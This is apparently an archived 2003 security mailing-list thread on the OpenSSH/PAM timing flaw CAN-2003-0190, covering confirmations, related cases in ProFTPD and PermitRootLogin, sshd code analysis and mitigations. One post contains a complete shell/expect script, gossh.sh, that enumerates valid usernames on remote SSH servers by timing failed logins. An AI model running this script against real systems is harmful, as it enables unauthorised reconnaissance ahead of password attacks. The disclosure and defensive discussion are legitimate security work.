Onderwerp: Re: OpenSSH/PAM timing attack allows remote users identification

--HeFlAV5LIbMFYYuh
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, Apr 30, 2003 at 04:34:27PM +0200, Marco Ivaldi wrote:
> root@voodoo:~# ssh [valid_user]@lab.mediaservice.net
> [valid_user]@lab.mediaservice.net's password: <- arbitrary (non-null) str=
ing
> [2 secs delay]
> Permission denied, please try again.
>=20
> root@voodoo:~# ssh [no_such_user]@lab.mediaservice.net
> [no_such_user]@lab.mediaservice.net's password: <- arbitrary (non-null) s=
tring
> [no delay]
> Permission denied, please try again.

ive noticed something similar in its handling of PermitRootLogin, if
this option is set to `no' you get the following behavior:

$ ssh root@host
root@host's password: <- arbitrary (non-null) string
[2 secs delay]
Permission denied, please try again.a

$ ssh root@host
root@host's password: <- correct root password
[no delay]
Permission denied, please try again.

i haven't checked the current version to see if this is still true.=20

i think you also will get no delay if DenyUsers or so is in use for
accounts your testing.

--=20
Ethan Benson
http://www.alaska.net/~erbenson/

--HeFlAV5LIbMFYYuh
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAj6w5QoACgkQJKx7GixEevx0lgCeJPHX0EucMi w5PPp1Jb8ErosX
pb0An1J6za7RsZlI5hhmRivRTqz9/eD5
=u2T6
-----END PGP SIGNATURE-----

--HeFlAV5LIbMFYYuh--

After a bad experience with ssh_brute.c from mediaservice.net who
released, lately, an advisory for OpenSSH <= 3.6.1p1 that became
CAN-2003-0190 (http://lab.mediaservice.net/advisory...01-openssh.txt)
I decided to write my own working exploit:

--- gossh.sh ---
#!/bin/sh
# OpenSSH <= 3.6.p1 - User Identification.
# Nicolas Couture - nc@stormvault.net
#
# Description:
# -Tells you wether or not a user exist on
# a distant server running OpenSSH.
#
# Usage:
# -You NEED to have the host's public key
# before executing this script.
#


#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
# Fact Sheet: #
# o It is really accurate against #
# redhat boxes. #
# o Linux boxes running grsecurity #
# has 10 seconds delay on both #
# valid AND invalid user login #
# attempts. #
# o *BSD boxes are not vulnerables and #
# always has 10 seconds delay like #
# Linux-Grsec + network protection #
# #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
# History: #
# Thu May 1 15:41:18 EDT 2003 #
# ; Script started. #
# Thu May 1 16:42:30 EDT 2003 #
# ; Script is functional. #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

# Let the user know how we work.
usage(){
echo "$0 <user> <host>"
exit 1
}

# Verify the arguments.
[ $# != 2 ] && usage

# Variables.
USER="$1"
HOST="$2"

#=-=-=-=-=-=-=-=-=-=-=-=-=#
# Expect script functions #
#=-=-=-=-=-=-=-=-=-=-=-=-=#

# Expect script for password.
expasswd() {
cat << EOF > expasswd
spawn $SSHCMD
expect password:
send '\r'
interact
EOF
}

# Expect script for error.
experror() {
cat << EOF > experror
spawn expect -f expasswd
expect again.
exit 1593
interact
EOF
}

#=-=-=-=-=-=-=-=-=-=#
# -Fake user timing #
#=-=-=-=-=-=-=-=-=-=#

# OpenSSH client command for inexisting user.
export SSHCMD="ssh nicolas_couture@$HOST"

# Build new expect script.
expasswd
experror

# Timing.
FDATE0=`date '+%s'`
echo "[-] Calculating fake user timeout..."
expect -f experror 1> /dev/null 2> /dev/null
FDATE1=`date '+%s'`

# Fake user timeout.
FUTO=`echo $FDATE1 - $FDATE0 | bc`
echo "[+] Found $FUTO."

#=-=-=-=-=-=-=-=#
# -$USER timing #
#=-=-=-=-=-=-=-=#

# OpenSSH command.
export SSHCMD="ssh $USER@$HOST"

# Build new expect scripts.
expasswd
experror

DATE0=`date '+%s'`
echo "[-] Calculating $USER timeout on $SERVER..."
expect -f experror 1> /dev/null 2> /dev/null
DATE1=`date '+%s'`

# $USER timeout.
END=`echo $DATE1 - $DATE0 | bc`
echo "[+] Found $END."

#=-=-=-=-=#
# -Result #
#=-=-=-=-=#

if [ "$FUTO" -eq "$END" ] && [ "$FUTO" -eq "10" ]; then
echo "This box is not vulnerable."
exit 1
fi

# Use of our magic skills.
if [ "$FUTO" -lt "$END" ]; then
echo "$USER exist on $HOST."
elif [ "$FUTO" -ge "$END" ]; then
echo "$USER doesn't exist on $HOST."
else
echo "Segmentation fault."
exit 13
fi

# Remove tmp files.
rm -rf expasswd experror

# EOF
--- gossh.sh ---


-Nicolas

In-Reply-To: <Pine.LNX.4.30L2.0304301358220.9889-200000@dns.mediaservice.net>

hm, this has been known for some time,
and stealth of teso wrote a nice paper and some
example tools for stuff like that :
http://www.team-teso.net/releases/epta.tgz

On Thu, 2003-05-01 at 05:12, Ethan Benson wrote:
> On Wed, Apr 30, 2003 at 04:34:27PM +0200, Marco Ivaldi wrote:
> > root@voodoo:~# ssh [valid_user]@lab.mediaservice.net
> > [valid_user]@lab.mediaservice.net's password: <- arbitrary (non-null) string
> > [2 secs delay]
> > Permission denied, please try again.
> >
> > root@voodoo:~# ssh [no_such_user]@lab.mediaservice.net
> > [no_such_user]@lab.mediaservice.net's password: <- arbitrary (non-null) string
> > [no delay]
> > Permission denied, please try again.
>
> ive noticed something similar in its handling of PermitRootLogin, if
> this option is set to `no' you get the following behavior:

This is not only true in association with the ssh daemon's
configuration. Even if root login is allowed in it's configuration but
pam disallow root logins, it'll result in a 2 seconds delay on bad
password and reject instantly good password instead of login.

The problem is not in the handling of PermitRootLogin but in the
handling of login in sshd, adding a 2 seconds delay before login or
removing the 2 seconds delay on bad login before sending an error would
fix the problem.

> $ ssh root@host
> root@host's password: <- arbitrary (non-null) string
> [2 secs delay]
> Permission denied, please try again.a
>
> $ ssh root@host
> root@host's password: <- correct root password
> [no delay]
> Permission denied, please try again.
>
> i haven't checked the current version to see if this is still true.

I verified this on redhat 8, openssh-3.4p1-2(rpm) and sshd is acting
just like you described it.

On Thu, 1 May 2003, Thilo Schulz wrote:

> This is !!NOT!! a problem specific to openssh.
> When I saw this topic come up I tried the same with proftpd, which also can
> use pam to establish the user's authentication.

I've not investigated this specific issue, but yes, this behaviour may be
common to other daemons supporting PAM authentication. The problem,
however, is not in PAM itself: every daemon should run auth_pam_password()
even for non-existent or non-allowed usernames.

/* deny if no user. */
if (pw == NULL)
return 0;
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
return 0;
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;

return auth_pam_password(authctxt, password);

As you can see, within OpenSSH < 3.6.1p2 there are a number of cases where
auth_pam_password() wouldn't even be called, -- and this is easily
detectable remotely. PAM delays just make this remote detection easier.

But this is not a PAM problem at all: i think every daemon should
review their code paths for user authentication, in order to reduce
specific timing leaks (complete resolution of these problems may be a lot
harder).

Fot those who don't know it yet, i suggest an interesting reading:
"Execution path timing analysis of UNIX daemons", by Sebastian Krahmer.

http://stealth.7350.org/epta.tgz

Cheers,

--
Marco Ivaldi
Chief Security Officer Data Security Division
@ Mediaservice.net Srl http://mediaservice.net/

On Wednesday, 30th April 2003 16:34 Marco Ivaldi wrote:
> During a pen-test we stumbled across a nasty bug in OpenSSH-portable with
> PAM support enabled (via the --with-pam configure script switch). This bug
> allows a remote attacker to identify valid users on vulnerable systems,
> through a simple timing attack. The vulnerability is easy to exploit and may
> have high severity, if combined with poor password policies and other
> security problems that allow local privilege escalation.

This is !!NOT!! a problem specific to openssh.
When I saw this topic come up I tried the same with proftpd, which also can
use pam to establish the user's authentication.

here is an example with the simple ftp tool:
thilo@Thilo thilo $ ftp www.someftphost.net
Connected to www.someftphost.net.
220 ProFTPD 1.2.5rc1 Server (Debian) [www.someftphost.net]
Name (www.someftphost.net:thilo): thilo
331 Password required for thilo.
Password:
[valid user account, but wrong password: 2seconds wait]
530 Login incorrect.
Login failed.
ftp>

same here, if this is an invalid user, there is no delay between the entering
of the password and the 530 reply.
I tested the postfix smtp daemon, apache and ipopd pop3 daemon which have pam
support, there this weakness is obviously not present, yet don't consider all
daemons secure, there may still be many others out there that suffer from the
same weakness.

- Thilo Schulz

--GD+uNaHYxbVPHaQt
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, Apr 30, 2003 at 04:34:27PM +0200, Marco Ivaldi wrote:
> NOTE. FreeBSD uses both a different PAM implementation and a
> different PAM support in OpenSSH: it doesn't seem to be
> vulnerable to this particular timing leak issue.

Are you talking of CURRENT branch? 4.x use linux-PAM as well.

--
---- WBR, Michael Shigorin <mike@altlinux.ru>
------ Linux.Kiev http://www.linux.kiev.ua/

--GD+uNaHYxbVPHaQt
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+sm+PbsPDprYMm3IRAs8HAJ4noGRkheWX2bEz4vERmW mtYn+DmQCfQcFZ
3wZ4AfHnpcM8Q52WD/g0cvE=
=4tp9
-----END PGP SIGNATURE-----

--GD+uNaHYxbVPHaQt--

--3V7upXqbjpZ4EhLz
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Quoting Marco Ivaldi (raptor@mediaservice.net):

> Security Advisory @ Mediaservice.net Srl
> (#01, 30/04/2003) Data Security Division
>=20
> Title: OpenSSH/PAM timing attack allows remote users identificat=
ion
> Application: OpenSSH-portable <=3D 3.6.1p1
> Platform: Linux, maybe others
> Description: A remote attacker can identify valid users on vulnerable
> systems, all PAM-enabled systems are potentially affected
> Author: Marco Ivaldi <raptor@mediaservice.net>
> Contributors: Maurizio Agazzini <inode@mediaservice.net>,
> Solar Designer <solar@openwall.com>,
> Andrea Ghirardini <pila@pilasecurity.com>
> Vendor Status: OpenSSH team notified on 12/04/2003,
> vendor-sec list notified on 28/04/2003
> CVE Candidate: The Common Vulnerabilities and Exposures project has assi=
gned
> the name CAN-2003-0190 to this issue.
> References: http://lab.mediaservice.net/advisory...01-openssh.txt
> http://cve.mitre.org/cgi-bin/cvename...DCAN-2003-0190
>=20
> 1. Abstract.
>=20
> During a pen-test we stumbled across a nasty bug in OpenSSH-portable with=
PAM
> support enabled (via the --with-pam configure script switch). This bug al=
lows a=20
> remote attacker to identify valid users on vulnerable systems, through a =
simple
> timing attack. The vulnerability is easy to exploit and may have high sev=
erity,
> if combined with poor password policies and other security problems that =
allow=20
> local privilege escalation.
>=20
> 2. Example Attack Session.
>=20
> root@voodoo:~# ssh [valid_user]@lab.mediaservice.net
> [valid_user]@lab.mediaservice.net's password: <- arbitrary (non-null) str=
ing
> [2 secs delay]
> Permission denied, please try again.
>=20
> root@voodoo:~# ssh [no_such_user]@lab.mediaservice.net
> [no_such_user]@lab.mediaservice.net's password: <- arbitrary (non-null) s=
tring
> [no delay]
> Permission denied, please try again.
>=20
> 4. Fix.


The "Fix" is to encourage all users/admins of OpenSSH to _only_ work=20
with key authentication (preferable only ssh2 protocol) on all ssh servers.=
=20


Switch the default:=20
PasswordAuthentication yes

Into:=20
PasswordAuthentication no

in sshd_config

In combination with the default "RSAAuthentication yes" it results in:=20

,--------
| kh@i4x:~$ ssh dodo@i4x <-dodo=3Dno_such_user
| [no delay]
| Permission denied (publickey).
`--------

The same as:=20
,--------
| kh@i4x:~$ ssh root@i4x
| [no delay]
| Permission denied (publickey).
`--------

That would be my 2Cent.=20

Karl-Heinz

--3V7upXqbjpZ4EhLz
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+scI/ggE0AflsbMURAubfAKCLlYdgoRlB2WoXrU6BVDC5yLuWDwCdEQ Pp
fv7clLHYSM11QXKiasEOzcI=
=TszD
-----END PGP SIGNATURE-----

--3V7upXqbjpZ4EhLz--

On Thu, 1 May 2003, Ethan Benson wrote:

> ive noticed something similar in its handling of PermitRootLogin, if
> this option is set to `no' you get the following behavior:
>
> $ ssh root@host
> root@host's password: <- arbitrary (non-null) string
> [2 secs delay]
> Permission denied, please try again.a
>
> $ ssh root@host
> root@host's password: <- correct root password
> [no delay]
> Permission denied, please try again.
>
> i haven't checked the current version to see if this is still true.

It is, also in the latest OpenSSH_3.6.1p2. I'm not sure if this behaviour
has serios security implications, however it can be "fixed" applying the
same workaround suggested for CAN-2003-0190: use the "nodelay" option for
pam_unix.so.

--
Marco Ivaldi
Chief Security Officer Data Security Division
@ Mediaservice.net Srl http://mediaservice.net/